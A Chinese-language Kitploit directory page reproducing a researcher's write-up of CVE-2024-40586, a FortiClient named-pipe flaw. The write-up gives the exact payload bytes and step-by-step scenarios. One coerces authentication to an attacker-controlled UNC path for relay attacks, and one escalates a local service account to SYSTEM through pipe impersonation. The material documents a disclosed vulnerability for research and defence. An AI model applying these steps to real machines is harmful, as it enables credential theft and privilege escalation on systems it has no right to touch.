Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-40586-Windows-Coerced-Authentication-in-FortiClient — CVE-2024-40586 的漏洞利用程序:通过易受攻击的 FortiClient 命名管道强制 Windows 主机进行身份验证,从而能够通过中继攻击将权限提升至 SYSTEM 或进行横向移动。 | Kitploit
工具/GitHubGitHub/hagrid29/cve-2024-40586-windows-coerced-authentication-in-forticlient
权限提升漏洞分析漏洞利用横向移动渗透测试身份验证红队
GitHubhagrid29/cve-2024-40586-windows-coerced-authentication-in-forticlient

CVE-2024-40586-Windows-Coerced-Authentication-in-FortiClient

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-40586 的漏洞利用程序:通过易受攻击的 FortiClient 命名管道强制 Windows 主机进行身份验证,从而能够通过中继攻击将权限提升至 SYSTEM 或进行横向移动。

查看仓库
141年前尚未审核

CVE-2024-40586 FortiClient 中的 Windows 强制身份验证

在 Windows 系统上,发现 FortiClient(应用版本 7.0.8.0427)允许远程非特权用户通过一个与 FortiSSLVPNdaemon 服务相关的命名管道,强制 Windows 主机向其他计算机进行身份验证。

观察到命名管道 "FortiSslvpnNamedPipe" 允许任何用户进行读取和写入。

Fig1

分析

该应用从命名管道中将缓冲区第 5 个字节读取为操作码 PipeBuffer+4

Fig2

观察到当操作码等于 24(即 0x18)时,该应用将读取文件。 代码流程:Case 24 => LABEL_26 => strncpy 将载荷复制到变量 Buffer => 将载荷传递给 sub_7FF60C3EAC20 => 调用 CreateFileA => ReadFile

Fig3

Fig4

Fig5

然而,该应用不会对文件内容进行任何处理。

利用

我们可以发送特制流量(即 "\x00\x00\x00\x00\x18\x00" 与目标路径拼接)到存在漏洞的命名管道 "FortiSslvpnNamedPipe",以触发操作码 24,并强制进程 "FortiSSLVPNdaemon.exe" 以 SYSTEM 权限调用 CreateFileA。因此,我们可以通过提交 UNC 路径(例如 "\\<remote ip>\<file path>")来强制服务器连接远程文件,或连接本地命名管道(例如 "\\127.0.0.1\pipe\<named pipe>")

场景 1

要利用远程未认证用户强制 Windows 主机向其他计算机进行身份验证,可按照以下步骤操作:

  1. 在攻击者机器上,启动一个监听器以接收被强制产生的身份验证。
  2. 在攻击者机器上,将特制载荷(即 "\x00\x00\x00\x00\x18\x00" + "\\<attacker IP>\fake\fake")发送至受害机器上存在漏洞的命名管道 "\\<victim IP>\pipe\FortiSslvpnNamedPipe",以强制该进程通过 UNC 路径 "\\<attacker IP>\fake\fake" 连接远程文件。
  3. 与其他强制认证攻击(例如 SpoolSample)类似,攻击者可以执行中继攻击或身份验证降级攻击。

Fig6

场景 2

若要从具有 "SeImpersonatePrivilege" 权限的本地用户(例如 "nt authority\network service")提升至 SYSTEM,可按照以下步骤操作:

  1. 创建一个等待连接的命名管道服务器。
  2. 将特制载荷(即 "\x00\x00\x00\x00\x18\x00" + "\\127.0.0.1\pipe\<pipe server>\XXX")发送到本地存在漏洞的命名管道 "\\.\pipe\FortiSslvpnNamedPipe",以强制该进程连接到我们的命名管道服务器。
  3. 连接建立后,调用 ImpersonateNamedPipeClient() 来模拟 SYSTEM 权限。

Fig7

时间线

  • 07/09/2023 - 向 Fortinet 报告漏洞
  • 08/30/2023 - Fortinet 确认漏洞
  • 02/11/2024 - 发布

参考

  • https://fortiguard.fortinet.com/psirt/FG-IR-23-279
下载工具